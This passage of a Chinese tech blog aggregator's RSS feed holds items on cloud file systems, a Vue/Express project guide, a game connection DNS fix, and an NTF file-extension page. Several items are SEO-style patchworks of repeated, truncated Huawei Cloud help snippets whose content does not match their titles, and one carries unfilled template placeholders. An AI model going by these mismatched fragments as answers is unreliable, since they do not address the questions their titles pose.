Turbo两种不同类型的文件系统。创建文件系统前，确认已有可用的VPC。若无VPC，可参考《虚拟私有云用户指南》中的“创建虚拟私有云基本信息及默认子网”章节创建VPC。若无VPC，可参考《虚拟私有云用户指南》中的“创建虚拟私有云基本信息及默认子网”&#xA;以root用户登录云服务器，执行如下命令，将会回显指定域名或IP下所有可用的文件系统。showmount -e 文件系统域名或IP&#xA;本文介绍了弹性文件服务SFS各特性版本的功能发布和对应的文档动态，新特性将在各个区域(Region)陆续发布，欢迎体验。&#xA;通过管理控制台扩容成功后，只是扩大了云硬盘的存储容量，还需要登录云服务器自行扩展分区和文件系统，完成该操作后，您才可以看到新增容量并使用。扩展磁盘分区和文件系统操作请参见：扩展分区和文件系统(Windows)分区和文件系统扩展概述(Linux)扩展分区和文件系统(Windows)分区和文件系统扩展概述(Linux)&#xA;“数据导入”章节适用于MRS 3.x及后续版本。Loader是实现MRS与外部数据源如关系型数据库、SFTP服务器、FTP服务器之间交换数据和文件的ETL工具，支持将数据或文件从关系型数据库或文件系统导入到MRS系统中。Loader支持如下数据导入方式：从关系型数据库导入数据到HDFS/OBS从关系型数据库导入数据到HBase从关系型数据</description>
    </item>
    <item>
      <title>服务器项目的原则和注意事项,项目注意事项.md</title>
      <link>https://bchobby.github.io/posts/905e63aea2165086835637eec1571933/</link>
      <pubDate>Tue, 10 Aug 2021 04:41:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/905e63aea2165086835637eec1571933/</guid>
      <description># 项目注意事项&#xA;## 1.前端注意事项&#xA;### 1.1项目环境&#xA;​**前台和后台都采用vue.js+element ui开发,使用请求插件axios**&#xA;### 1.2前台编写注意&#xA;​**前端页面的axios配置已经完成，已经将将axios和element 的message 挂载到了vue的原型上，使用方法如在**&#xA;&amp;gt; &amp;gt; vue实例中： this.$http.post(&#39;url地址&#39;,请求参数)。&#xA;​**同理message的使用：**&#xA;&amp;gt; &amp;gt;this.$message.error(&#39;messages&#39;)&#xA;​**注意:请求端口修改在axios的config变量中，原则上项目开始开发后不允许修改请求端口**&#xA;### 1.3&#xA;**后台页面的每个页面都放在components里**，目录结构如下&#xA;![image-20200506120043163](./jiegou.png)&#xA;**记得每个组件文件的style加上scoped**&#xA;**&#xA;## 2.服务器注意事项&#xA;### 2.11 项目环境&#xA;​**服务器使用node.js编写，采用express框架搭建的服务器,端口号为8011，服务器运行时会在其下方输出端口号。**&#xA;### 2.2服务器编写注意&#xA;​**服务器的基本环境已经搭建完成，用了哪些插件具体可以查看package.json文件，由于前台和后台同时使用一个服务器，所以每个模块请求的路径要注意前台和后台的不要重复了。token的密钥和加密所使用random文件等都在util文件夹中，后续的一些公共文件也可以放入util里方便使用。数据库名还未配置，待数据库设计完成，数据填充完毕后设置。token刷新还未解决，但过期时间是有效的。**&#xA;​**注意：后台返回数据格式，在model中有个resetres.js文件 在app.js中已暴露了一个resetres文件，调用他的sendResult函数，调用方式 res.sendResult(data 返回的数据,code 状态码, msg 返回的信息)，即可返回统一的数据格式**&#xA;​**&#34;data&#34;:data,**&#xA;​**&#34;meta&#34;: {**&#xA;​**&#34;msg&#34;:msg,**&#xA;​**&#34;status&#34;:code**&#xA;​**}**&#xA;#### 项目提交在bookshop文件夹处&#xA;###### 项目开发提交，git代码(参考)&#xA;```&#xA;创建分支开发&#xA;1.git checkout -b 分支名 创建一个新的分支并切换到其分支上&#xA;2.git branch 查看当前分支&#xA;3.git push -u origin 分支名(最好和本地刚创建的分支名相同) 推送创建一个新的分支到远程仓库</description>
    </item>
    <item>
      <title>家里电脑dnf无线连接服务器,win7系统dnf正在连接服务器的解决方法</title>
      <link>https://bchobby.github.io/posts/d034a342140ccffc9d8fd61edb9f8883/</link>
      <pubDate>Tue, 10 Aug 2021 02:19:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d034a342140ccffc9d8fd61edb9f8883/</guid>
      <description>我们在操作win7系统电脑的时候,常常会遇到&#xA;2、关闭后点击 开始游戏即可正常进入游戏。出现这样的现象是由于当前win7系统电脑与dnf游戏服务器连接失败导致的，这个问题早在以往就会有发生，但是到了跨区合并游戏大区后问题又被进一步放大了。和DNF本身服务器问题有很大的关系。&#xA;解决方法二：&#xA;1、&#xA;3、在适配器设置界面找到本地连接，在本地连接上单击右键，选择【属性】；&#xA;4、在属性界面，找到【internwet 协议版本4(TCP/IPV4)】双击打开或者点击【属性】按钮；&#xA;5、然后点【使用下面的dns服务器地址】，将首选dns服务器设置为 8.8.8.8 然后点击确定 按钮保存设置，当然并非一定要8.8.8.8，我们可以按自己合适的dns来进行设置，那么那个dns合适呢？我们可以使用360安全卫士中– 功能大全 — 网络优化 — dns优选 来查看最合适自己当前网络的dns在进行设置即可！&#xA;本文由系统爱好者转载。发布者：系统爱好者，转转请注明出处：https://www.sysfans.com/126446.html</description>
    </item>
    <item>
      <title>服务器查文件,查服务器文件内存</title>
      <link>https://bchobby.github.io/posts/827338a9437dd1e26dd35571c2bb973c/</link>
      <pubDate>Tue, 10 Aug 2021 01:57:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/827338a9437dd1e26dd35571c2bb973c/</guid>
      <description>查服务器文件内存 内容精选&#xA;换一换&#xA;Windows场景中，当把源端服务器迁移到华为云后，目的端服务器C盘的已用空间比对应源端服务器C盘的已用空间大至少1GB，而不是与源端服务器C盘的已用空间一致，这正常吗？正常现象。您可通过以下步骤查看原因：登录源端服务器。单击“开始”菜单，选择“控制面板 &amp;gt; 文件夹选项”。进入“文件夹选项”页面。进入“文件夹选项”页面。选择“查看”页签，&#xA;本节操作指导您完成Windows操作系统云服务器磁盘空间清理。弹性云服务器匀出一部分磁盘空间来充当内存使用，当内存耗尽时，云服务器可以使用虚拟内存来缓解内存的紧张。但当内存使用率已经非常高时，频繁的内存与虚拟内存的切换会导致产生大量额外的IO操作，导致IO性能下降。因此可以关闭虚拟内存，来清理Windows操作系统的磁盘空间。以下操作以W&#xA;查服务器文件内存 相关内容&#xA;本实例中SAP HANA服务器实际的文件系统规划如表2 SAP HANA服务器文件系统所示。SBD卷只需要在主节点云服务器上创建，然后绑定到备节点云服务器上。本实例中SAP HANA云服务器实际的文件系统划分如表3 SAP S/4HANA文件系统所示。SID为安装SAP S/4HANA的的SID，##分别为安装ASCS与ERS时候的ins&#xA;SAP B1的部署方案如图1所示。说明如下：VPC网络：为了保证网络的安全，SAP B1系统中所有节点在一个VPC网络内，且所有节点应属于同一个AZ(Available Zone)。公网子网区：NAT(Network Address Translation)服务器：弹性云服务器。租户对SAP B1云服务器的SSH访问需要通过NAT服务器跳&#xA;查服务器文件内存 更多内容&#xA;集群部署(单NFS Server)部署方案如图1所示。说明如下：VPC网络：为了保证网络的安全，SAP HANA系统中所有节点在一个VPC网络内，且所有节点应属于同一个AZ(Available Zone)。公网子网区：NAT(Network Address Translation)服务器：租户对SAP HANA节点的SSH访问需要通过NA&#xA;主机监控分为基础监控、操作系统监控、进程监控。基础监控：ECS/BMS自动上报的监控指标。操作系统监控：通过在ECS或BMS中安装Agent插件，为用户提供服务器的系统级、主动式、细颗粒度监控服务。进程监控：针对主机内活跃进程进行的监控，默认采集活跃进程消耗的CPU、内存，以及打开的文件数量等信息。多种监控指标安装Agent后，云监控服务&#xA;您可以使用已有的弹性云服务器快速创建伸缩配置。此时，伸缩配置中的云服务器类型、vCPU、内存、镜像、磁盘参数信息将默认与选择的云服务器规格保持一致。登录管理控制台。选择“计算 &amp;gt; 弹性伸缩 &amp;gt; 伸缩实例”。单击“创建伸缩配置”。填写弹性伸缩配置信息，例如，名称、配置模板等。配置数据说明如表1所示。伸缩配置数据说明参数解释取值样例区域区域也&#xA;已准备好用于存放源数据的服务器，且此服务器可以与GaussDB(for openGauss)正常通信。存放源数据的服务器拥有充足的系统资源(内存、磁盘空间、文件句柄等)。单击此处获取GaussDB(for openGauss)软件包，解压获取GDS软件包。&#xA;使用外部镜像文件创建私有镜像时，以上相关步骤操作需要在虚拟机内部完成，强烈建议您在原平台的虚拟机实施修改后，再导出镜像。使用Windows外部镜像文件创建私有镜像时，关于Guest OS driver，在勾选“进行后台自动化配置”后，云平台会对镜像文件进行检查，如果未添加Guest OS driver，会尽力帮助客户进行自动安装。&#xA;Linux操作系统XEN实例变更为KVM实例前，必须完成驱动的安装和配置。本节操作指导您手动安装Linux云服务器驱动、配置磁盘自动挂载等，并将XEN实例变更为KVM实例。如需使用自动化脚本安装驱动的方法请参考XEN实例变更为KVM实例(Linux-自动配置)。XEN实例：S1、C1、C2、M1型弹性云服务器。KVM实例：参考规格清单，查&#xA;监控数据上报功能可以将系统中采集到的监控数据写入到文本文件，并以FTP或SFTP的形式上传到指定的服务器中。使用该功能前，管理员需要在FusionInsight Manager页面进行相关配置。“监控数据上传”默认为不启用，开关显示为表示启用。选择转储模式为SFTP，当SFTP服务公钥为空时，先进行安全风险提示，确定安全风险后再保存配置。&#xA;为了对源端服务器进行迁移可行性评估以及为后续目的端服务器的选择和配置提供必要性数据，迁移Agent会收集源端服务器的相关信息并上报到主机迁移服务。收集的Windows操作系统的具体数据如表1所示。收集的Linux操作系统的具体数据如表2所示。收集的所有信息仅用于数据迁移，不会用做其他用途。&#xA;SAP HANA集群部署方案如图1所示。说明如下：VPC网络：为了保证网络的安全，SAP HANA系统中所有节点在一个VPC网络内，且所有节点应属于同一个AZ(Available Zone)。公网子网区：NAT(Network Address Translation)服务器：租户对SAP HANA节点的SSH访问需要通过NAT服务器跳转。&#xA;开启弹性云服务器的虚拟内存后，会导致硬盘I/O性能下降，因此，平台提供的Windows弹性云服务器默认未配置虚拟内存。如果弹性云服务器内存不足，建议通过“变更规格”操作来扩大内存。如果业务需要，必须开启虚拟内存，请参见本节内容进行配置。内存使用率已经非常高，同时I/O性能也不是很好的情况下，如果配置虚拟内存会起到反向效果：不仅系统性能提升&#xA;当您成功创建私有镜像后，镜像的状态为“正常”，您可以使用该镜像创建服务器实例或云硬盘，也可以将镜像共享给其他帐号，或者复制镜像到其他区域。私有镜像的生命周期如图1所示。</description>
    </item>
    <item>
      <title>文件服务器搭建 xp,xp搭建文件服务器</title>
      <link>https://bchobby.github.io/posts/56b40cb6f0c646f9e3d4bbc7364bbe83/</link>
      <pubDate>Tue, 10 Aug 2021 00:56:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56b40cb6f0c646f9e3d4bbc7364bbe83/</guid>
      <description>xp搭建文件服务器 内容精选&#xA;换一换&#xA;本节操作介绍华为云上云服务器的跨账号跨区域迁移，建议采用镜像迁移方式。服务器迁移的常见场景与常用的迁移方式请参考迁移的背景知识。跨账号跨区域迁移的方法请参考方案介绍常见的服务器迁移场景包括物理服务器与云服务器之间、VMware等虚拟化平台与华为云服务器之间、华为云上的云服务器之间(不同账号或地域之间)、其他云平台的云服务器和华为云服务器、&#xA;是的。直接将共享云硬盘挂载给多台云服务器无法实现文件共享功能。云服务器之间没有相互约定读写数据的规则，将会导致这些云服务器读写数据时相互干扰或者出现其他不可预知的错误。共享云硬盘本身并不具备集群管理能力，因此需要自行搭建集群系统来实现数据共享，如企业应用中常见的Windows MSCS集群、Veritas VCS集群和CFS集群等。&#xA;xp搭建文件服务器 相关内容&#xA;公有云通常指第三方供应商为用户提供的能够通过Internet使用的云端基础设施和服务，其核心属性是共享资源服务，华为云是华为公有云品牌，在SAP HANA云端高可用场景下我们需要使用以下华为公有云服务。&#xA;IB驱动安装请参考《HPC解决方案 基础环境搭建指导书》中“Infiniband网卡驱动安装”。mkdir /home/OpenMPIcd /home/OpenMPItar zxvf openmpi-4.0.1.tar.gzcd openmpi-4.0.1mkdir buildcd build../configure --prefix=/&#xA;xp搭建文件服务器 更多内容&#xA;简要介绍rsync命令是一个远程数据同步工具，可通过LAN/WAN快速同步多台主机间的文件。语言：C/C++一句话描述：远程数据同步工具建议的版本建议使用版本为rsync-3.1.12。云服务器要求本文以云服务器KC1实例测试，云服务器配置如表1所示。操作系统要求操作系统要求如表2所示。执行命令，安装rsync。yum install r&#xA;本文介绍了云耀云服务器HECS的功能发布和对应的文档动态，新特性将在各个区域(Region)陆续发布，欢迎体验。&#xA;IOR测试的是并行文件系统，编译运行前必须先安装OpenMPI。IB驱动安装请参考《HPC解决方案 基础环境搭建指导书》中“Infiniband网卡驱动安装”。mkdir /home/OpenMPIcd /home/OpenMPItar zxvf openmpi-4.0.1.tar.gzcd openmpi-4.0.1mkdir buil&#xA;本章主要介绍了如何使用AMH搭建网站。该指导具体操作以搭建DEDECMS系统为例。如果需要用IP访问，将IP地址填在域名栏里即可添加虚拟主机01本示例上传的是DEDECMS系统。该域名需要先解析到服务器。&#xA;简要介绍NFS(Network File System)即网络文件系统，是FreeBSD支持的文件系统中的一种，它允许网络中的计算机之间共享资源。在NFS的应用中，本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件，就像访问本地文件一样。一句话描述：网络文件系统开源协议：GPL建议的版本建议使用版本为NFS-2.3.3，通过&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;环境搭建完成后，若您需要修改Atlas 200 DK的IP地址，请参考以下步骤操作。在Ubuntu服务器中以HwHiAiUser用户ssh登录Atlas 200 DK开发者板。在Atlas 200 DK中，切换到root用户修改Atlas 200 DK服务器中的网络配置文件。修改/etc/netplan/01-netcfg.yaml配置文&#xA;网关创建成功以后，用户需初始化网关，建立本地网关到CSG管理控制台的连接。本章节详细介绍了如何初始化网关，为用户快速了解CSG网关初始化配置提供指导。已在本地服务器正确安装网关。已在CSG管理控制台成功创建网关。浏览器可连接到网关IP。网关IP推荐使用内网IP，该IP地址无需公网访问，请参考获取网关IP。用户在CSG管理控制台初始化网关时&#xA;环境搭建完成后，若您需要修改Atlas 200 DK的IP地址，请参考以下步骤操作。在Ubuntu服务器中以HwHiAiUser用户ssh登录Atlas 200 DK开发者板。在Atlas 200 DK中，切换到root用户修改Atlas 200 DK服务器中的网络配置文件。修改/etc/netplan/01-netcfg.yaml配置文&#xA;环境搭建完成后，若您需要修改Atlas 200 DK的IP地址，请参考以下步骤操作。在Ubuntu服务器中以HwHiAiUser用户ssh登录Atlas 200 DK开发者板。在Atlas 200 DK中，切换到root用户修改Atlas 200 DK服务器中的网络配置文件。修改/etc/netplan/01-netcfg.yaml配置文&#xA;公有云通常指第三方供应商为用户提供的能够通过Internet使用的云端基础设施和服务，其核心属性是共享资源服务，华为云是华为公有云品牌，在SAP HANA云端高可用场景下我们需要使用以下华为公有云服务。</description>
    </item>
    <item>
      <title>服务器关闭NTF文件格式,NTF 文件扩展名： 它是什么以及如何打开它？</title>
      <link>https://bchobby.github.io/posts/4779c2de777b229a465155372b8c2c08/</link>
      <pubDate>Tue, 10 Aug 2021 00:43:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4779c2de777b229a465155372b8c2c08/</guid>
      <description>了解 NTF 问题&#xA;打开 NTF 文件的问题&#xA;Microsoft Windows 消失&#xA;你尝试加载 NTF 文件并收到错误，例如 “%%os%% 无法打开 NTF 文件扩展名”。 如果是这种情况，通常是因为 你的计算机上没有安装 Microsoft Windows for %%os%%。 由于您的操作系统不知道如何处理此文件，因此无法通过双击将其打开。&#xA;提示：如果您没有安装 Microsoft Windows，并且知道有其他程序可以打开 NTF 文件，则可以尝试通过从 “显示应用程序” 下列出的程序中进行选择来打开它。&#xA;Microsoft Windows 已过时&#xA;在其他情况下，您的 Microsoft Windows 版本可能不支持您的Windows Font File文件版本。 建议从 Microsoft Corporation 安装最新版本的 Microsoft Windows。 您的 SadSheet 文件可能是由比当前安装的计算机更新的 Microsoft Windows 创建的。&#xA;提示： 通过右键单击并选择 “属性” 来调查 NTF 文件，以查找有关所需版本的线索。&#xA;主要是，打开 NTF 文件时遇到的问题是由于计算机上安装了不正确的 Microsoft Windows 版本。&#xA;难以打开 NTF 文件的其他原因&#xA;即使在电脑上安装了最新版本的 Microsoft Windows，打开 NTF 文件仍然会遇到错误。 如果你在加载 NTF 文件时继续出错，其他外部问题可能会归咎于其他外部问题。 这些其他问题包括(按最常见到最不常见的顺序列出)： NTF 的 Windows 注册表中的文件参考是错误的</description>
    </item>
    <item>
      <title>文件服务器搭建 xp,xp文件服务器搭建</title>
      <link>https://bchobby.github.io/posts/f51ef92bf4a998612b4de706a541dca4/</link>
      <pubDate>Mon, 09 Aug 2021 23:37:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f51ef92bf4a998612b4de706a541dca4/</guid>
      <description>xp文件服务器搭建 内容精选&#xA;换一换&#xA;登录Windows操作系统的弹性云服务器时，需使用密码方式登录。因此，用户需先根据创建弹性云服务器时使用的密钥文件，获取该弹性云服务器初始安装时系统生成的管理员密码(Administrator帐户或Cloudbase-init设置的帐户)。该密码为随机密码，安全性高，请放心使用。请根据您的个人需求，通过管理控制台或API方式获取Windo&#xA;该任务指导用户完成Linux云服务器的相关配置与其他驱动的安装，为最终生成的Linux裸金属服务器私有镜像做准备。配置Linux云服务器。具体操作请参考虚拟机环境配置。具体操作请参考虚拟机环境配置。安装并配置Cloud-Init工具，修改引导的硬件设备驱动，安装bms-network-config软件包、SDI卡驱动、Hi1822网卡驱动&#xA;xp文件服务器搭建 相关内容&#xA;登录Windows操作系统的弹性云服务器时，需使用密码方式登录。因此，用户需先根据创建弹性云服务器时使用的密钥文件，获取该弹性云服务器初始安装时系统生成的管理员密码(Administrator帐户或Cloudbase-init设置的帐户)。该密码为随机密码，安全性高，请放心使用。请根据您的个人需求，通过管理控制台或API方式获取Windo&#xA;本章主要介绍了如何使用AMH搭建网站。该指导具体操作以搭建DEDECMS系统为例。如果需要用IP访问，将IP地址填在域名栏里即可添加虚拟主机01本示例上传的是DEDECMS系统。该域名需要先解析到服务器。&#xA;xp文件服务器搭建 更多内容&#xA;简要介绍NFS(Network File System)即网络文件系统，是FreeBSD支持的文件系统中的一种，它允许网络中的计算机之间共享资源。在NFS的应用中，本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件，就像访问本地文件一样。一句话描述：网络文件系统开源协议：GPL建议的版本建议使用版本为NFS-2.3.3，通过&#xA;内网环境下，Windows云服务器之间怎样实现文件夹共享？部分运营商可能会屏蔽139、445端口，导致广域网无法访问共享。因此，Windows云服务器文件共享方案建议仅在内网环境下使用。确保“Tcp/IP NetBIOS Helper”服务状态为“已启动”。打开cmd窗口执行命令services.msc，找到TCP/IP NetBIOS&#xA;私有镜像是包含操作系统、预装的公共应用以及用户私有应用的镜像，仅用户个人可见。私有镜像包括系统盘镜像、数据盘镜像和整机镜像，由现有运行的云服务器创建而来，或由外部导入而来。本章介绍以下创建私有镜像的方法：通过云服务器创建Windows系统盘镜像通过云服务器创建Linux系统盘镜像通过外部镜像文件创建Windows系统盘镜像通过外部镜像文件&#xA;为安全起见，裸金属服务器登录时建议使用密钥对方式进行身份验证。因此，您需要使用已有密钥对或创建一个密钥对，用于远程登录身份验证。创建密钥对如果没有可用的密钥对，需要创建一个密钥对，生成公钥和私钥，并在登录裸金属服务器时提供私钥进行鉴权。创建密钥对的方法如下：(推荐)通过管理控制台创建密钥对，公钥自动保存在系统中，私钥由用户保存在本地，具体&#xA;当创建文件系统后，您需要使用云服务器来挂载该文件系统，以实现多个云服务器共享使用文件系统的目的。CIFS类型的文件系统不支持使用Linux操作系统的云服务器进行挂载。同一SFS容量型文件系统不能同时支持NFS协议和CIFS协议。裸金属服务器、容器(CCE&amp;amp;CCI)操作与云服务器一致。确定云服务器操作系统类型，不同操作系统安装NFS客户端的&#xA;登录Windows操作系统的裸金属服务器时，需使用密码方式登录。因此，用户需先根据创建裸金属服务器时使用的密钥文件，获取该裸金属服务器初始安装时系统生成的管理员密码(Administrator帐户或Cloudbase-init设置的帐户)。该密码为随机密码，安全性高，请放心使用。已获取创建该裸金属服务器时使用的密钥对私钥文件。登录管理控制&#xA;提供多个业务节点提供共享的日志输出目录，方便分布式应用的日志收集和管理。业务特点：多个业务主机挂载同一个共享文件系统，并发打印日志。大文件小I/O：单个日志文件比较大，但是每次日志的写入I/O比较小。写I/O密集型：业务以小块的写I/O为主。多个业务主机挂载同一个共享文件系统，并发打印日志。大文件小I/O：单个日志文件比较大，但是每次日志&#xA;Ubuntu Version 14.04及以上版本，作为编译Huawei LiteOS的服务器。GNU Arm Embedded Toolchain编译器，用于代码编译。GNU Make构建器，用于文件组织与链接。python 2.7/3.2+，pip包管理工具，kconfiglib库，用于编译前通过图形化界面完成配置。&#xA;华为云镜像服务帮助中心，为用户提供产品简介、快速入门、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用镜像服务。&#xA;在SAP HANA系统中，Shared卷和Backup卷由SFS Turbo提供时，需要创建一个SFS Turbo，提供共享路径给SAP HANA节点。&#xA;本文介绍DDK(Device Development Kit)的安装过程以及常见问题处理方法。安装完DDK后，用户如果想进行编译运行相关操作，还需要同步lib并配置编译环境，本手册给出详细的配置方法。</description>
    </item>
    <item>
      <title>容错服务器怎么看备件型号,H&amp;i SERVER 容错服务器产品规格（V4）</title>
      <link>https://bchobby.github.io/posts/46be9f87e34abdcfb866f00fa6b59cd4/</link>
      <pubDate>Mon, 09 Aug 2021 23:31:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46be9f87e34abdcfb866f00fa6b59cd4/</guid>
      <description>新一代(代号“surf 海浪”)H&amp;amp;i Server容错服务器,在处理器、内存等硬件配置及系统管理软件方面已全面升级。采用Xeon E5-2600 V4系列处理器。H&amp;amp;i Server 冗余容错服务器适合于实时关键应用场合和中小规模的企业级虚拟化应用场合。&#xA;H&amp;amp;i Server 202A 是性价比极高的容错服务器产品，2U两节点的安装空间。这种入门级的配置适合有限规模的IT环境部署，可以同时运行一到二个虚拟客户机系统(VM)。适合中小规模的工厂车间级、远程站级应用或分支场合。&#xA;H&amp;amp;i Server 2102 是性价比极高的容错服务器产品，这种入门级的配置适合有限规模的IT环境部署，可以同时运行三个以上的虚拟客户机系统(VM)。适合中小规模的工厂车间级、远程站级应用或分支场合。&#xA;H&amp;amp;i Server 2202 是扩展性极高的容错服务器产品，每个主机节点有24个DDR4 DIMM，8个PCIe插槽，这种部门级/企业级的配置适合较大规模的IT环境部署，可以同时运行五个以上的虚拟客户机系统(VM)。适合大中规模的数据库系统，计算机监控系统，厂级生产管理和信息系统。&#xA;H&amp;amp;i Server 2302具有超强处理能力的容错服务器产品，这种高性能配置特别为企业级的数据中心或云计算环境而设计，特别适合企业级规模的IT运算环境部署，能够同时运行多个的虚拟客户机VM，中心数据库、企业资源计划系统(ERP )、制造执行系统(MES)或者准备部署服务器整合方案且提升高可用性的应用场合。配置可信安全模块实现了从BIOS配置开始到系统运行全方位的安全监控。&#xA;按照用户需求，可预装Windows Server或Linux Server等服务器级操作系统，支持国产Linux系统。这种标准化的系统及客户应用无需增加额外冗余套件，即可被H&amp;amp;i Server底层容错功能模块保护。单软件副本不仅节约了投资成本，更简化了操作过程。</description>
    </item>
    <item>
      <title>wcf如何部署在虚拟服务器上,wcf怎么部署在远程服务器上</title>
      <link>https://bchobby.github.io/posts/a3c093b4dc1699fd0b1decf2c6440671/</link>
      <pubDate>Mon, 09 Aug 2021 23:22:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a3c093b4dc1699fd0b1decf2c6440671/</guid>
      <description>wcf怎么部署在远程服务器上 内容精选&#xA;换一换&#xA;分析辅助软件是一款支持部署到多台服务器目标环境上，实现对整个业务集群的数据采集和优化的组件。已成功登录Java性能分析。待安装分析辅助软件的服务器已开启sshd。已安装JDK并配置环境变量。打开“添加目标环境”界面，如图1所示，参数如表1所示。添加目标环境添加目标环境参数说明参数说明服务器IP地址输入待安装分析辅助软件的远程服务器的IP地&#xA;已成功登录Java性能分析。待安装分析辅助软件的服务器已开启sshd。已安装JDK并配置环境变量。打开“添加目标环境”窗口，如图1所示，参数说明如表1所示。添加目标环境添加目标环境参数说明参数说明服务器IP地址输入待安装分析辅助软件的远程服务器的IP地址，详情请参考“常用操作 &amp;gt; 查询服务器物理IP地址“。端口输入远程服务器的SSH服务端&#xA;wcf怎么部署在远程服务器上 相关内容&#xA;分析辅助软件是一款支持部署到多台服务器目标环境上，实现对整个业务集群的数据采集和优化的组件。已成功登录Java性能分析。待安装分析辅助软件的服务器已开启sshd。已安装JDK并配置环境变量。打开“添加目标环境”界面，如图1所示，参数如表1所示。添加目标环境添加目标环境参数说明参数说明服务器IP地址输入待安装分析辅助软件的远程服务器的IP地&#xA;已成功登录Java性能分析。待安装Guardian的服务器已开启sshd。待安装Guardian的服务器已安装JRE，JRE版本要求为Huawei JDK 8或者Open JDK 8/11。Java性能分析优先选用非交互shell(non-interactive shell)中的JAVA_HOME环境变量所指定的JRE版本运行Guardi&#xA;wcf怎么部署在远程服务器上 更多内容&#xA;已成功登录Java性能分析。待安装分析辅助软件的服务器已开启sshd。Java性能分析优先选用非交互shell(non-interactive shell)中的JAVA_HOME环境变量所指定的JRE版本运行分析辅助软件，其次选用非交互shell(non-interactive shell)中的PATH环境变量能发现的java命令运行分析&#xA;已成功登录Java性能分析。待安装分析辅助软件的服务器已开启sshd。Java性能分析优先选用非交互shell(non-interactive shell)中的JAVA_HOME环境变量所指定的JRE版本运行分析辅助软件，其次选用非交互shell(non-interactive shell)中的PATH环境变量能发现的java命令运行分析&#xA;已成功登录Java性能分析。待安装分析辅助软件的服务器已开启sshd。待安装分析辅助软件的服务器已安装JRE，JRE版本要求为Open JDK 11。Java性能分析优先选用非交互shell(non-interactive shell)中的JAVA_HOME环境变量所指定的JRE版本运行分析辅助软件，其次选用非交互shell(non-in&#xA;已成功添加Guardian。如果Guardian处于在线状态，只允许修改Guardian名称。如果Guardian处于连接超时状态，可以输入登录远程服务器的用户名和密码重新部署Guardian。如果Guardian处于在线状态，只允许修改Guardian名称。如果Guardian处于连接超时状态，可以输入登录远程服务器的用户名和密码重新部&#xA;Kubernetes命令行工具kubectl允许您对Kubernetes集群运行命令。您可以使用kubectl部署应用程序，检查和管理集群资源以及查看日志。有关kubectl操作的完整列表，请参见kubectl概述。Kubernetes集群经常部署在Linux环境，而本机环境有可能是Windows或macOS，除了通过ssh登录到kube&#xA;已成功添加目标环境。如果目标环境处于在线状态，只允许修改目标环境名称。如果目标环境处于离线状态，可以输入登录远程服务器的用户名和密码重新部署分析辅助软件。如果目标环境处于在线状态，只允许修改目标环境名称。如果目标环境处于离线状态，可以输入登录远程服务器的用户名和密码重新部署分析辅助软件。安装分析辅助软件的服务器已开启sshd。当目标环境离&#xA;MindStudio可以单独安装在Windows上。在安装MindStudio前需要在Linux服务器上安装部署好Ascend-cann-toolkit开发套件包，之后在Windows上安装MindStudio，安装完成后通过配置远程连接的方式建立MindStudio所在的Windows服务器与Ascend-cann-toolkit开发套&#xA;代码迁移工具进行代码迁移时，需要调用Linux下的rpm、deb等命令才能完成扫描和迁移相关任务，这些命令和逻辑必须在后端Linux运行。IDE插件只支持以Web模式使用root用户安装工具，不支持以CLI模式安装工具。由于root用户拥有最高权限，直接使用root用户登录服务器可能会存在安全风险。建议您使用普通用户登录服务器后切换为ro&#xA;代码迁移工具进行代码迁移时，需要调用Linux下的rpm、deb等命令才能完成扫描和迁移相关任务，这些命令和逻辑必须在后端Linux运行。IDE插件只支持以Web模式使用root用户安装工具，不支持以CLI模式安装工具。由于root用户拥有最高权限，直接使用root用户登录服务器可能会存在安全风险。建议您使用普通用户登录服务器后切换为ro&#xA;代码迁移工具进行代码迁移时，需要调用Linux下的rpm、deb等命令才能完成扫描和迁移相关任务，这些命令和逻辑必须在后端Linux运行。插件只支持以Web模式使用root用户安装工具，不支持以CLI模式安装工具。由于root用户拥有最高权限，直接使用root用户登录服务器可能会存在安全风险。建议您使用普通用户登录服务器后切换为root用&#xA;代码迁移工具进行代码迁移时，需要调用Linux下的rpm、deb等命令才能完成扫描和迁移相关任务，这些命令和逻辑必须在后端Linux运行。插件只支持以Web模式使用root用户安装工具，不支持以CLI模式安装工具。由于root用户拥有最高权限，直接使用root用户登录服务器可能会存在安全风险。建议您使用普通用户登录服务器后切换为root用</description>
    </item>
    <item>
      <title>xp系统怎么弄清微软服务器名称,xp系统如何做远程服务器呢</title>
      <link>https://bchobby.github.io/posts/02d0e1af9a5c8ab830a95aae085b3a0c/</link>
      <pubDate>Mon, 09 Aug 2021 22:32:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/02d0e1af9a5c8ab830a95aae085b3a0c/</guid>
      <description>xp系统如何做远程服务器呢 内容精选&#xA;换一换&#xA;本章节介绍如何使用弹性云服务器管理控制台上提供的远程登录(VNC方式)和如何使用密钥或密码方式(SSH方式)登录MRS集群中的节点，远程登录主要用于紧急运维场景，远程登录弹性云服务器进行相关维护操作。其他场景下，建议用户采用SSH方式登录。如果需要使用SSH方式登录集群节点，需要在集群的安全组规则中手动添加入方向规则：其中源地址为“客户端&#xA;外部镜像文件在从原平台导出前，没有按照“Windows操作系统的镜像文件限制”的要求完成初始化操作，推荐您使用弹性云服务器完成相关配置。流程如图1所示。云服务器的正常运行依赖于XEN Guest OS driver(PV driver)和KVM Guest OS driver(UVP VMTools)，未安装会对云服务器运行时的性能产生影&#xA;xp系统如何做远程服务器呢 